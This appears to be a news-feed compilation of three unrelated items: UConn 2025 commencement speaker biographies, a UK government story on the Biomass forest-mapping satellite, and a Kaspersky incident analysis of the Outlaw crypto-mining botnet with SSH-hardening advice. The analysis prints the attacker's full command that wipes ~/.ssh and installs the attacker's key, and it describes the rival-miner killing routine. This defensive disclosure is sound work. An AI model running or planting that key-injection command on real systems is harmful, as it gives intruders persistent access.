    Maggie Mitchell Salem joined IRIS as Executive Director in January 2024. Throughout her nearly 30-year career, Maggie has managed diverse teams focused on civic education, intercultural dialogue, social and political rights, and forced displacement. She arrived in Connecticut following three years leading the National Democratic Institute’s democratic governance program in Tunisia. Given the exponential increase in the number of refugees, humanitarian parolees, and other immigrants that IRIS assists, Maggie has focused on organizational structure, systems, and policies that create a strong foundation for the organization’s continued growth. Her previous experience at Global Refuge (formerly Lutheran Immigration & Refugee Services) and Fugees Academy have underscored the importance of collaborative, communicative leadership and management. For more than a decade, she was the founding executive director of Qatar Foundation International and expanded Arabic language and culture education to public K-12 schools across the U.S., UK, and Germany. As the Regional Director for the Middle East and North Africa at the International Foundation for Electoral Systems (IFES), she expanded or created new programs in Jordan, Iran, and Iraq. Maggie started up and led the Middle East Institute’s Communications Department from 2001-2004. She also served as a U.S. Foreign Service Officer in Mumbai and Tel Aviv, and as staff on the Executive Secretariat of Secretary of State Madeleine Albright. Maggie was a Fulbright Scholar in Syria while studying for her Masters in Contemporary Arab Studies at Georgetown University. She received a bachelor’s degree in political science and psychology from Johns Hopkins University. She has two sons and two daughters. She lives with her six dogs and two cats in East Haddam.

    Bachelor of General Studies (Saturday, May 10, 2 p.m. at Student Union Theater): Daniel Mercier ‘95

    Daniel Mercier graduated from the Bachelor of General Studies program in 1995 with a focus in Visual Communications. After serving as a Graphics Specialist for a few years, Mercier returned to UConn in 1998 as a Media Producer. In 2001, he transitioned to the role of Instructional Developer in the Instructional Design and Development Department. After completing a Master of Arts in Educational Technology in 2003, Mercier became Manager of Instructional Design and Development and ultimately served as Assistant Director and Director of the Institute of Teaching and Learning. In 2015, he took on the role of Director, Instructional Design, in the Center for Pedagogical Innovation at Wesleyan University. In 2017, Mercier returned to UConn as the Director of Academic Affairs at the Avery Point Campus of the University of Connecticut. Throughout his 30-plus-year career, Mercier has demonstrated an unwavering commitment to the development of instructional tools, to help faculty utilize technologies to reach our students. In his work, he has supported faculty, staff and students across the higher education landscape. His commitment to the University of Connecticut spans nearly 25 years. In his current position, he recruits faculty, oversees academic advising and other academic support programs, and develops partnerships between the Avery Point campus and other academic entities within and outside UConn. These partnerships include the support of students in the Bachelor of General Studies Program.

    College of Agriculture, Health and Natural Resources (Saturday, May 10, 6 p.m. at Gampel Pavilion): Rodney Butler ’99 (BUS)

    Rodney A. Butler is the Chairman of the Mashantucket Pequot Tribal Nation (MPTN) since January 2010. Butler’s service on Tribal Council began in 2004, and after one year, he was appointed Tribal Council Treasurer; a position he held through 2009. During his tenure, Butler chaired the Tribe’s Finance, Housing, and Judicial Committees, the MPTN Utility Authority, and served as an Interim CEO for Foxwoods Resort Casino. Butler earned his Bachelor’s Degree in Finance from the University of Connecticut where he played Defensive Back for the UConn Huskies football team. Prior to Tribal Council, Butler worked in the finance department at Foxwoods Resort Casino. He later became Chairman of the Tribal Business Advisory Board; an executive body responsible for overseeing the Tribe’s non-gaming businesses and commercial properties. Butler was actively involved in multiple resort expansions at Foxwoods, as well as community development initiatives on the Reservation, the establishment of the Mashantucket (Western) Pequot Tribe Endowment Trust, and the legalization of Sports Betting and iGaming in the state of Connecticut. He was also a participant in Harvard Business School’s program “Leading People and Investing to Build Sustainable Communities.” He is a regular speaker on national panels related to Native American issues. Butler presently serves on the Board of Directors for Mashantucket Pequot Interactive and is on the board of Foxwoods El San Juan Casino. He also serves as the President of Native American Finance Officers Association (NAFOA), as Alternate Vice President for the National Congress of American Indians, and on the boards for the United South and Eastern Tribes, Indian Gaming Association, American Gaming Association, the Mystic Aquarium, and the United Way of Southeastern Connecticut. He is the 2019 recipient of the Citizen of the Year award from the Eastern Connecticut Chamber of Commerce, and the National Indian Gaming Association’s John Kieffer Sovereignty Award. In 2018, he received the St. Edmund’s Medal of Honor Award from the Enders Island Retreat Center. In 2017, Butler was appointed “Tribal Leader of the Year” by the NAFOA. As Chairman, Butler’s primary focus is to ensure long-term stability for the Tribe’s citizens, government, and business enterprises.

    School of Fine Arts (Saturday, May 10, 6 p.m. at Jorgensen Center for the Performing Arts): Jacob G. Padrón

    Jacob G. Padrón is the Artistic Director of Long Wharf Theatre in New Haven. He is also the Founder and Artistic Director of The Sol Project, a national theater initiative that works in partnership with leading theater companies to amplify the voices of Latino playwrights in New York City and beyond. Padrón has held senior-level artistic positions at theater companies across the country. He was the Senior Line Producer at The Public Theater where he worked on new plays, new musicals, Shakespeare in the Park, and Public Works. He was formerly the Producer at Steppenwolf Theatre Company in Chicago where he supported the artistic programming in the Garage – Steppenwolf’s dedicated space for new work, new artists, and new audiences. From 2008 to 2011, he was an Associate Producer at the Oregon Shakespeare Festival where he was instrumental in producing all shows in the 11-play repertory. Under the guidance of his late mentor Diane Rodriguez, he served as the producer of Suzan-Lori Parks’ “365 Days/365 Plays” for Center Theatre Group, a collaboration that included over 50 theater companies to launch Festival 365 in Los Angeles. He is a co-founder of the Artist Anti-Racism Coalition, a grassroots movement committed to dismantling structural racism within the Off-Broadway community. Jacob is a graduate of Loyola Marymount University (B.A.) and David Geffen School of Drama (M.F.A.). His first artistic home was El Teatro Campesino located in San Juan Bautista, California.

     

    College of Liberal Arts and Sciences, Ceremony I (Sunday, May 11, 9 a.m. at Gampel Pavilion): Maureen Ahern ‘85

    Maureen Ahern is an Executive Leadership Coach on her third career whose journey began in the same classrooms as today’s graduates. A proud Husky who earned both a Bachelors and a Masters, Maureen’s connection to UConn runs deep. For over 10 years, she returned to UConn Stamford each week as an Adjunct Professor, teaching Interpersonal Communications and Public Speaking after her corporate day job in New York, driven by her belief that becoming a great communicator gives you the power and confidence to take meaningful action to shape your future. Maureen started as a Sales Executive at The Associated Press and quickly rose to lead the Satellite Networks division before transitioning to Standard and Poor’s Comstock. At S&P she led many different departments as Director of Operations, VP of US Sales and Managing Director for Asian and South American markets, building successful international relationships while traveling the world. She was part of the management team that sold Comstock to IDC and then pivoted from corporate into the digital world, as Partner and COO of momAgenda, where she helped build a thriving e-commerce company. Drawing on her teaching background, leadership experience and desire to coach and mentor others, Maureen completed her leadership coaching certification at Georgetown University’s Transformational Leadership Institute. Today as Founder of Ahern Leadership Coaching and Consulting, Maureen partners with C-suite executives and emerging leaders across industries, facilitating leadership development through one-on-one coaching, team coaching, and specialized training and leadership development workshops. Her coaching philosophy – described by clients as “tough but loving”-centers on her belief that leaders aren’t born, they are made and that everyone has leadership capacity waiting to be unlocked through awareness, action and courage. Maureen was a mentor with the Freshman Founders Program at the Werth Institute at UConn Stamford, in addition to her volunteer work with CT NEXT and Startup Westport as a business mentor. She is also an angel investor with Tidal River Fund whose goal is to fund underrepresented founders. When not working with her clients whom she loves and adores, Maureen enjoys yoga, beach walks, and time with her three adult children (Patrick, Brendan and Caeleigh). She shares life in Cos Cob with her husband Mike Santini (fellow UConn grad) and their black lab, Nino.

    Neag School of Education (Sunday, May 11, 9 a.m. at Jorgensen Center for the Performing Arts): Suzanne M. Wilson

    Suzanne M. Wilson is the Neag Endowed Professor of Teacher Education at the University of Connecticut’s Neag School of Education, where she also serves as a professor in the Department of Curriculum and Instruction. Her undergraduate degree is in history and American studies from Brown University; she also has an M.S. in statistics and a Ph.D. in psychological studies in education from Stanford University. She was a University Distinguished Professor in the Department of Teacher Education at Michigan State University, where she served on the faculty for 26 years. Wilson also served as the first director of the Teacher Assessment Project, which developed prototype assessments for the National Board for Professional Teaching Standards. Wilson is a committed teacher, having taught undergraduate, master’s, and doctoral classes in educational policy, teacher learning, and research methods. She has directed 36 dissertations and served as a committee member for another 45. Wilson serves on multiple editorial and advisory boards. She was elected to the National Academy of Education in 2013 and to the American Academy of Arts and Sciences in 2022. Wilson has written on teacher knowledge, qualitative methods, curriculum reform, educational policy, and teacher preparation and professional development. She has published in Science, American Educator, American Educational Research Journal, Educational Researcher, Review of Educational Research, Elementary School Journal, Teaching and Teacher Education, Journal of Teacher Education, Phi Delta Kappa, and Teaching Education. She is the author of “California Dreaming: Reforming Mathematics Education” (Yale, 2003) and editor of Lee Shulman’s collection of essays, “Wisdom of Practice: Essays on Teaching, Learning, and Learning to Teach” (Jossey-Bass, 2004). She is currently working on a collection of essays entitled, “Why Teach?”

    College of Liberal Arts and Sciences Ceremony II (Sunday, May 11, 1:30 p.m. at Gampel Pavilion): Joe La Puma ‘05

    Joe La Puma serves as SVP of Content Strategy at Complex NTWRK and hosts Complex’s Sneaker Shopping, the world’s No. 1 sneaker show, which has garnered over 1 billion views on YouTube. He has been at the forefront of sneaker and street culture at Complex for the past 15 years. La Puma started his journalism career writing for The Daily Campus and was voted “Rookie of the Year” by fellow staffers. After graduating from UConn in 2005 with a degree in Journalism, he returned to Bay Shore to manage The Finish Line—where he previously worked in high school—while contributing articles to both local and global publications like Newsday and Hypebeast.com. In 2006, La Puma landed an internship at Complex magazine, a pop culture publication specializing in convergence culture through hip-hop, sneakers, and fashion. La Puma has written more cover stories (21) than any other writer in Complex history, including profiles on Justin Bieber, Katy Perry, and Kid Cudi. La Puma is also a published author of the book “Complex Presents: Sneaker of the Year: The Best Since ’85.” In his current SVP role, La Puma has led Complex to over 200% growth in audience and engagement. In 2014, Complex debuted the YouTube show Sneaker Shopping, a series that La Puma created and hosts to this day. Over the past decade of Sneaker Shopping, La Puma has interviewed icons like Eminem, Whoopi Goldberg, Kevin Hart, Mark Wahlberg, Billie Eilish, Cristiano Ronaldo, David Beckham, and conducted one of the only lifestyle interviews with former Vice President Kamala Harris during the 2020 election cycle. The show has filmed episodes across the U.S., as well as abroad in China, England, Spain, and Japan. With his extensive editorial work on footwear and over 300 episodes of Sneaker Shopping, La Puma is regarded as one of the foremost sneaker experts in the world. La Puma is a three-time Webby Award winner and has been featured on Good Morning America, and The Tonight Show With Jimmy Fallon. In 2024, La Puma was inducted into the Bay Shore High School Hall of Fame, a group that includes only 79 members since the school opened in 1893. La Puma currently lives in Brooklyn, and takes half-days at work when he can during UConn Basketball March Madness runs.

    School of Pharmacy – Doctor of Pharmacy (Sunday, May 11, 1:30 p.m. at Jorgensen Center for the Performing Arts): JoAnn Trejo

    JoAnn Trejo, Ph.D., MBA is professor of pharmacology and senior assistant Vice Chancellor for Health Sciences Faculty Affairs at the University of California (UC) San Diego. She completed her undergraduate degree at UC Davis, earned her Ph.D. and MBA at UC San Diego and completed postdoctoral training at UC San Francisco. Trejo is a basic science researcher with expertise in cell signaling in the context of vascular inflammation and cancer. Her research has been published in more than 100 peer-reviewed articles and she is a recipient of a NIH R35 Maximizing Investigators’ Research Award (MIRA) and the American Heart Association Established Investigator Award. Trejo is an outstanding educator, mentor and a leader actively engaged in initiatives aimed at enhancing excellence in science and pharmacology. She is the director of five NIH-supported training programs including the UC San Diego IRACDA Postdoctoral Scholars Program, FIRST Program and three early career faculty development programs. Trejo served as an elected member of the leadership Council for the ASCB and the American Society for Biochemistry and Molecular Biology and is a current member of the scientific advisory boards for Septerna and Versiti. She has also served on multiple NIH Study Sections, the NCI Board of Scientific Counselors for Basic Sciences, and Blavatnik, HHMI and Chan Zuckerberg foundation review panels. Trejo is a current member of the NIGMS Advisory Council. She is the Associate Editor for Molecular Biology of the Cell and is an editorial board member for Proceedings National Academy of Sciences Nexus, Journal of Biological Chemistry and Molecular Pharmacology. Trejo is an elected member of the National Academy of Medicine, American Society for Cell Biology (ASCB) Fellow and 100 Inspiring Hispanic / Latinx Scientists and was recently elected honorary fellow of the British Pharmacological Society.

    College of Liberal Arts and Sciences Ceremony III (Sunday, May 11, 5:30 p.m., Gampel Pavilion): Joe La Puma ‘05

    School of Pharmacy – Bachelor of Science (Sunday, May 11, 6 p.m., Jorgensen Center for the Performing Arts): Joe Honcz ‘98

    Joe Honcz is a distinguished expert in managed care and market access, boasting a robust 25-year career that spans significant sectors of the health care industry. Early in his career, he played a pivotal role in leading teams for the launch of Medicare Part D, followed by instrumental involvement in the implementation of the Affordable Care Act while at Anthem BCBS and Aetna. Since 2020, Joe has leveraged his profound understanding of managed care to deliver strategic market access insights, empowering over 20 biotech and pharmaceutical clients to effectively navigate complex market dynamics. His contributions have been crucial in the successful launch of innovative products in both traditional and rare/orphan disease categories. As a “pharmacy futurist,” he continues to drive innovation and shape market access strategies at Petauri Health, supporting the emerging pharmaceutical and health tech industries. His exceptional ability to anticipate industry trends has consistently provided clients with strategic advantages, enabling them to stay ahead of competitors with foresight and precision. Beyond his professional endeavors, Joe is actively involved at Yale Ventures as an Entrepreneur-in-Residence and at the University of Connecticut Technology Commercialization Services in the same capacity. He has also served as an Adjunct Professor at the University of St. Joseph School of Pharmacy and is on the Board of Directors for the Academy of Managed Care Pharmacy (AMCP) and Avery’s Little Army, whose mission is to honor the legacy of Avery Marie Lafferty, an exceptionally brave cancer rebel, and all patients like her. Joe’s extensive background is complemented by diverse roles at Pfizer, Walgreens, Humana, PrecisionAQ, and CVS. He holds a Bachelor of Science in Pharmacy and a Master of Business Administration with a concentration in Marketing from the University of Connecticut, underscoring his deep roots and commitment to the field. In addition to being a Board member, he is also an AMCP diplomat to the UConn School of Pharmacy, where he fulfills his passion for mentoring and coaching.

    The Graduate School – Masters Ceremony (Monday, May 12, 9 a.m. at Gampel Pavilion): Manasse Mbonye ’95 Ph.D.

    Manasse Mbonye is a Founding Fellow of the Rwanda Academy of Sciences (RAS) and its current President. He is also the Group Leader and Professor, Rwanda Astrophysics Space and Climate Sciences Research Group (RASCSRG) at the University of Rwanda and a member of the national Science Advisory Group (SAG). By Training, Mbonye is a theoretical Astrophysicist and Cosmologist. He completed his Ph.D. from the University of Connecticut in 1995. Mbonye has taught Physics at various institutions including UConn, the University of Michigan, and RIT. He has also worked at NASA (Goddard Space Flight Center). In 2012, Mbonye returned to Africa. Since then, his appointments have included, Provost (later) Ag Rector (National University of Rwanda), the first Principal (University of Rwanda, College of Science and Technology), and Executive Secretary (Rwanda’s National Council for Science and Technology, (NCST)). During Mbonye’s tenure, NCST instituted a major review of Rwanda’s Science, Technology, Research and Innovation (STRI) policy. Further, the National Research and Innovation Agenda (NRIA) was constructed, along with its implementation enabler, the National Research and Innovation Fund (NRIF) framework. Rwanda launched the NRIF in June 2018. Mbonye has served on the East African Science and Technology Commission (EASTCO) Board of Directors as its Rapporteur (2017-2018). He has also been Chairman of the Rwanda Energy Group (REG) (2015-2018), Rwanda’s sole electric energy production source and utility company. Prof. Mbonye continues to do research and supervise students, at the University of Rwanda.

     

    UConn Health (Monday, May 12, 1 p.m. at Jorgensen Center for the Performing Arts): Manisha Juthani

    Dr. Manisha Juthani, is the Commissioner of the Connecticut Department of Public Health (DPH). Juthani is the first Indian American to serve as a commissioner in the State of Connecticut. She served as professor of medicine at Yale School of Medicine through September 2024 and currently serves as an adjunct professor of medicine. She served as Director of the Infectious Diseases Fellowship Program from 2012 to 2021. Juthani received her B.A. from the University of Pennsylvania and M.D. from Cornell University Medical College, completed Internal Medicine residency training at New York-Presbyterian Hospital/Weill Cornell campus, and served as chief resident at Memorial-Sloan Kettering Cancer Center. She came to Connecticut in 2002 as an Infectious Diseases fellow at Yale School of Medicine. During the COVID-19 pandemic, Juthani was a leader in the COVID response at Yale which led to her appointment as Commissioner of CT DPH in 2021. In the early days of the pandemic, she was a voice to help educate the public in both local and national media outlets, a role she was able to expand in her role as Commissioner. Upon joining CT DPH, she helped guide Connecticut out of the pandemic and worked to revitalize areas of public health, such as gun violence, maternal health, opioid use, and sexually transmitted diseases, that were exacerbated during the pandemic. As she continues in her role as DPH Commissioner, Juthani has shifted her core vision to “Preserve and Protect Core Public Health Principles and Services.” As Connecticut is presented with new public health challenges, she remains committed to preserving public health achievements made over the years, including improvements in regulatory oversight in health care, drinking water, and environmental health which includes food safety. It is more important than ever to highlight the importance of vaccines, control of infectious diseases, road safety, and healthier mothers and babies. Clear, accurate communication about public health risks is vital to her mission. She continues to advocate for health as a human right which is the core vision of CT DPH. Juthani is on the Board of Directors of UConn Health.

    The Graduate School – Doctoral Ceremony (Monday, May 12, 6 p.m. at Jorgensen Center for the Performing Arts): Sethuraman Panchanathan

    Sethuraman “Panch” Panchanathan is a computer scientist and engineer who served as the 15th director of the United States National Science Foundation (NSF) from 2020 until 2025. Panchanathan was nominated to by the president in 2019 and unanimously confirmed by the Senate on June 18, 2020. NSF is a $9.06 billion independent federal agency, and the only government agency charged with advancing all fields of scientific discovery, technological innovation and science, technology, engineering and mathematics education.

    Panchanathan previously served as the executive vice president of the Arizona State University (ASU) Knowledge Enterprise, where he was also chief research and innovation officer. He was also the founder and director of the Center for Cognitive Ubiquitous Computing at ASU. Under his leadership, the university increased research performance fivefold, earning recognition as the fastest growing and most innovative research university in the U.S.

    Prior to joining NSF, Panchanathan was appointed by the president to serve on the National Science Board, where he was a chair of the Committee on Strategy and a member of the External Engagement and National Science and Engineering Policy committees. Additionally, he was chair of the Council on Research of the Association of Public and Land-grant Universities and co-chair of the Extreme Innovation Taskforce of the Global Federation of Competitiveness Councils. Arizona’s governor appointed Panchanathan as senior advisor for science and technology in 2018. He was the editor-in-chief of the Institute of Electrical and Electronics Engineers (IEEE) MultiMedia magazine and editor and associate editor of several international journals.

    For his scientific contributions, Panchanathan has received numerous awards, including honorary doctorates from prestigious universities, distinguished alumni awards, the Governor’s Innovator of the Year for Academia Award, the Washington Academy of Sciences Distinguished Career Award and the IEEE-USA Public Service Award.

    Panchanathan is a member of the National Academy of Engineering and a fellow of the National Academy of Inventors, where he also served as vice president for strategic initiatives. He is also a fellow of the American Association for the Advancement of Science, the Canadian Academy of Engineering, the Association for Computing Machinery, IEEE and the Society of Optical Engineering.

    School of Law (Sunday, May 18, 10:30 a.m. at UConn School of Law): Mayor Arunan Arulampalam

    The son of Sri Lankan refugees, Arunan Arulampalam was born in Zimbabwe and made a home and a family in Hartford after graduate school. Prior to being elected mayor of Hartford in November 2023, he served as CEO of the Hartford Land Bank, where he developed a first-in-the-nation program to train Hartford residents to become local developers and tackle blight in their city. Arulampalam served in Governor Ned Lamont’s administration as Deputy Commissioner of the Connecticut Department of Consumer Protection. Before that, he was a lawyer at the downtown firm Updike, Kelly & Spellacy, P.C. Arulampalam also served on the Board of the Hartford Public Library, the House of Bread, and on the Hartford Redevelopment Authority. He earned his BA in International Studies from Emory University and his JD from Quinnipiac University School of Law.

    MIL OSI USA News –

    April 30, 2025
  • MIL-OSI United Kingdom: British-built satellite to map Earth’s forests in 3D for the first time

    Source: United Kingdom – Government Statements

    News story

    British-built satellite to map Earth’s forests in 3D for the first time

    A satellite developed by British academics and engineers is set to become the first in the world to measure the condition of the Earth’s forests in 3D from space.  

    Artist’s impression of Biomass in orbit. Credit: ESA/ATG medialab, CC BY-SA 3.0 IGO.

    The European Space Agency (ESA) Biomass Earth observation mission, which launched successfully from Europe’s spaceport in Kourou, French Guiana today, aims to enhance our understanding of the world’s forests and their role in the carbon cycle. The mission will use state-of-the-art radar technology to uncover new insights into forests, including their size and weight, and areas of deforestation.  

    This work will be crucial to helping us understand how tropical forests are changing and provide critical data to understand the carbon cycle and help develop climate strategies. 

    Biomass taking to the skies on 29 April 2025. Credit: ESA-CNES-ARIANESPACE/Optique vidéo du CSG–S. Martin

    The concept was conceived in Yorkshire, at the University of Sheffield by Professor Shaun Quegan, working with the National Centre for Earth Observation in Leicester. Other academics from the University of Edinburgh and UCL have brought modelling and data assimilation expertise to the application of Biomass data.   

    Since 2016 the UK has won almost £77 million in contracts for Biomass through its membership of ESA. 

    Minister for Space Sir Chris Bryant said:  

    The Biomass mission showcases British ingenuity at its very best, from conception in Sheffield to construction in Stevenage.     

    Britain is not only stepping to the forefront of the space industry, but of global climate action too.    

    Contributing to such great extent to a European mission set to deliver vital global results is testament to the UK’s industrial and academic expertise in space technology and will attract global investment into our vibrant space ecosystem, helping us boost growth and deliver our Plan for Change.

    Biomass was built by Airbus in Stevenage, UK. Credit: Airbus.

    Shaun Quegan, University of Sheffield’s Professor and lead proposer of the mission concept to the European Space Agency, said:  

    It’s been a privilege to have led the team in the development of a pioneering mission that will revolutionise our understanding of the volume of carbon held in the most impenetrable tropical rainforests on the planet and, crucially, how this is changing over time. Our research has solved critical operational scientific problems in constructing the Biomass satellite.   

    Conceived and built in the UK, Biomass is a brilliant example of what we can achieve in collaboration with our partners in industry and academia. The mission is the culmination of decades of highly innovative work in partnership with some of the best scientists in Europe and the US.   

    Airbus UK is the Prime Contractor and has manufactured the satellite in Stevenage. Throughout construction, it has supported approximately 250 highly skilled jobs, benefitting the local economy and bolstering the UK’s 52,000-strong space workforce. 

    Kata Escott, Managing Director of Airbus Defence and Space in the UK, said:  

    Biomass is a groundbreaking mission that will advance our understanding of how carbon is stored in the world’s forests – delivering crucial data in the fight against climate change. With more than 50 companies involved across 20 nations, the team in Stevenage has shown exceptional leadership in delivering this flagship ESA mission.

    Many other businesses in the UK supply chain have contributed, including ABSL in Abingdon, which has provided the battery, European Astrotech UK in Westcott, which has provided test services, and Nammo, in Cheltenham, providing the service valves.

    Its revolutionary technology will help scientists capture vital data on the changes to carbon in forests as ecosystems are increasingly impacted by deforestation. The satellite will create a 3D map of tropical forests after 17 months, then new (non-3D) maps every 9 months for the rest of the 5-year mission, providing insights normally hidden from human sight because of the difficulty in accessing these environments.   

    Both deforestation, which releases carbon dioxide, and forest growth, which soaks up CO2 from the atmosphere, are crucial parts of climate change.  

    Data on the biomass of tropical forests is very limited because they are difficult to access.     

    The Biomass satellite will be able to penetrate cloud cover and measure forest biomass more accurately than any current technology, which only see the top of the canopy. By providing better data it will help create a more accurate global carbon budget and better understanding of carbon sinks and sources which will help in developing and implementing effective strategies to achieve net-zero goals.  

    Observations will also lead to better insight into the rates of habitat loss and, as a result, the effect this may have on biodiversity in the forest environment.   

    Dr Paul Bate, CEO of the UK Space Agency, said:  

    The Biomass satellite represents a major leap forward in our ability to understand Earth’s carbon cycle. By mapping the world’s forests from space in unprecedented detail, it will provide critical insights into how our planet is responding to climate change — helping scientists, policymakers, and conservationists take informed action.  

    We’re proud of the leading role the UK has played in this important mission.

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    Published 29 April 2025

    MIL OSI United Kingdom –

    April 29, 2025
  • MIL-OSI Banking: Outlaw cybergang attacking targets worldwide

    Source: Securelist – Kaspersky

    Headline: Outlaw cybergang attacking targets worldwide

    Introduction

    In a recent incident response case in Brazil, we dealt with a relatively simple, yet very effective threat focused on Linux environments. Outlaw (also known as “Dota”) is a Perl-based crypto mining botnet that typically takes advantage of weak or default SSH credentials for its operations. Previous research ([1], [2]) described Outlaw samples obtained from honeypots. In this article, we provide details from a real incident contained by Kaspersky, as well as publicly available telemetry data about the countries and territories most frequently targeted by the threat actor. Finally, we provide TTPs and best practices that security practitioners can adopt to protect their infrastructures against this type of threat.

    Analysis

    We started the analysis by gathering relevant evidence from a compromised Linux system. We identified an odd authorized SSH key for a user called suporte (in a Portuguese-speaking environment, this is an account typically used for administrative tasks in the operating system). Such accounts are often configured to have the same username as the password, which is a bad practice, making it easy for the attackers to exploit them. The authorized key belonged to a remote Linux machine user called mdrfckr, a string found in Dota campaigns, which raised our suspicion.

    Suspicious authorized key

    After the initial SSH compromise, the threat actor downloads the first-stage script, tddwrt7s.sh, using utilities like wget or curl. This artifact is responsible for downloading the dota.tar.gz file from the attackers’ server. Below is the sequence of commands performed by the attacker to obtain and decompress this file, which is rather typical of them. It is interesting to note that the adversary uses both of the previously mentioned utilities to try to download the artifact, since the system may not have one or another.

    Chain of commands used by the attackers to download and decompress dota.tar.gz

    After the decompression, a hidden directory, named “.configrc5”, was created in the user’s home directory with the following structure:

    .configrc5 directory structure

    Interestingly enough, one of the first execution steps is checking if other known miners are present on the machine using the script a/init0. If any miners are found, the script tries to kill and block their execution. One reason for this is to avoid possible overuse of the RAM and CPU on the target machine.

    Routine for killing and blocking known miners

    The script also monitors running processes, identifies any that use 40% or more CPU by executing the command ps axf –o “pid %cpu”, and for each such process, checks its command line (/proc/$procid/cmdline) for keywords like “kswapd0”, “tsm”, “rsync”, “tor”, “httpd”, “blitz”, or “mass” using the grep command. If none of these keywords are found ( grep doesn’t return zero), the process is forcefully killed with the kill –9 command; otherwise, the script prints “don’t kill”, effectively whitelisting Outlaw’s known or expected high-CPU processes, so it doesn’t accidentally kill them.

    Processes checks performed by the threat

    After the process checks and killing are done, the b/run file is executed, which is responsible for maintaining persistence on the infected machine and executing next-stage malware from its code. For persistence purposes, the attackers used the following command to wipe the existing SSH setup, create a clean .ssh folder, add a new public key for SSH access, and lock down permissions.

    1

    cd ~ && rm –rf .ssh && mkdir .ssh && echo “ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr”>>.ssh/authorized_keys && chmod –R go= ~/.ssh

    The next-stage malware is a Base64-encoded string inside the b/run script that, once decoded, reveals another level of obfuscation: this time an obfuscated Perl script. Interestingly, the attackers left a comment generated by the obfuscator (perlobfuscator.com) in place.

    Obfuscated Perl script

    We were able to easily deobfuscate the code using an open-source script available on the same website as used by the attackers (https://perlobfuscator.com/decode-stunnix-5.17.1.pl), which led us to the original source code containing a few words in Portuguese.

    Deobfuscated Perl script

    This Perl script is an IRC-based botnet client that acts as a backdoor on a compromised system. Upon execution, it disguises itself as an rsync process, creates a copy of itself in the background, and ignores termination signals. By default, it connects to a hardcoded IRC server over port 443 using randomly generated nicknames, joining predefined channels to await commands from designated administrators. The bot supports a range of malicious features including command execution, DDoS attacks, port scans, file download, and upload via HTTP. This provides the attackers with a wide range of capabilities to command and control the botnet.

    XMRig miner

    Another file from the hidden directory, a/kswapd0, is an ELF packed using UPX, as shown in the image below. We were able to easily unpack the binary for analysis.

    kswapd0 identification and unpacking

    By querying the hash on threat intelligence portals and by statically analyzing the sample, it became clear that this binary is a malicious modified version of XMRig (6.19.0), a cryptocurrency miner.

    XMRig version

    We also found a configuration file embedded in the binary. This file contains the attacker’s mining information. In our scenario, the configuration was set up to mine Monero using the CPU only, with both OpenCL and CUDA (for GPU mining) disabled. The miner runs in the background, configured for high CPU usage. It also connects to multiple mining pools, including one accessible via Tor, which explains the presence of Tor files inside the .configrc5/a directory. The image below shows an excerpt from this configuration file.

    XMRig custom configuration

    Victims

    Through telemetry data collected from public feeds, we have identified victims of the Outlaw gang mainly in the United States, but also in Germany, Italy, Thailand, Singapore, Taiwan, Canada and Brazil, as shown in the chart below.

    Countries and territories where Outlaw is most activedownload)

    The following chart shows the distribution of recent victims. We can see that the group was idle from December 2024 through February 2025, then a spike in the number of victims was observed in March 2025.

    Number of Outlaw victims by month, September 2024–March 2025 (download)

    Recommendations

    Since Outlaw exploits weak or default SSH passwords, we recommend that system administrators adopt a proactive approach to hardening their servers. This can be achieved through custom server configurations and by keeping services up to date. Even simple practices, such as using key-based authentication, can be highly effective. However, the /etc/ssh/sshd_config file allows for the use of several additional parameters to improve security. Some general configurations include:

    • Port : changes the default SSH port to reduce exposure to automated scans.
    • Protocol 2: enforces the use of the more secure protocol version.
    • PermitRootLogin no: disables direct login as the root user.
    • MaxAuthTries : limits the number of authentication attempts per session.
    • LoginGraceTime : defines the amount of time allowed to complete the login process (in seconds unless specified otherwise).
    • PasswordAuthentication no: disables password-based login.
    • PermitEmptyPasswords no: prevents login with empty passwords.
    • X11Forwarding no: disables X11 forwarding (used for running graphical applications remotely).
    • PermitUserEnvironment no: prevents users from passing environment variables.
    • Banner /etc/ssh/custom_banner: customizes the system login banner.

    Consider disabling unused authentication protocols:

    • ChallengeResponseAuthentication no
    • KerberosAuthentication no
    • GSSAPIAuthentication no

    Disable tunneling options to prevent misuse of the SSH tunnel feature:

    • AllowAgentForwarding no
    • AllowTcpForwarding no
    • PermitTunnel no

    You can limit SSH access to specific IPs or networks using the AllowUsers directive:

    • AllowUsers *@10.10.10.217
    • AllowUsers *@192.168.0.0/24

    Enable public key authentication with:

    • PubkeyAuthentication yes

    Set parameters to automatically disconnect idle sessions:

    • ClientAliveInterval
    • ClientAliveCountMax

    The following configuration file serves as a template for hardening the SSH service:

    LoginGraceTime 10
    PermitRootLogin no
    MaxAuthTries 3
    IgnoreRhosts yes
    PubkeyAuthentication yes
    PasswordAuthentication no
    PermitEmptyPasswords no

    UsePAM yes
    ChallengeResponseAuthentication no
    KerberosAuthentication no
    GSSAPIAuthentication no

    AllowAgentForwarding no
    AllowTcpForwarding no
    X11Forwarding no
    PrintMotd no
    PrintLastLog yes
    PermitUserEnvironment no
    ClientAliveInterval 300
    ClientAliveCountMax 2
    PermitTunnel no

    Banner /etc/ssh/custom_banner
    AllowUsers *@10.10.10.217

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    Protocol 2

    Port 2222

    LoginGraceTime 10

    PermitRootLogin no

    MaxAuthTries 3

    IgnoreRhosts yes

    PubkeyAuthentication yes

    PasswordAuthentication no

    PermitEmptyPasswords no

    UsePAM yes

    ChallengeResponseAuthentication no

    KerberosAuthentication no

    GSSAPIAuthentication no

    AllowAgentForwarding no

    AllowTcpForwarding no

    X11Forwarding no

    PrintMotd no

    PrintLastLog yes

    PermitUserEnvironment no

    ClientAliveInterval 300

    ClientAliveCountMax 2

    PermitTunnel no

    Banner /etc/ssh/custom_banner

    AllowUsers *@10.10.10.217

    While outside sshd_config, pairing your config with tools like Fail2Ban or firewalld rate limiting adds another solid layer of protection against brute force.

    Conclusion

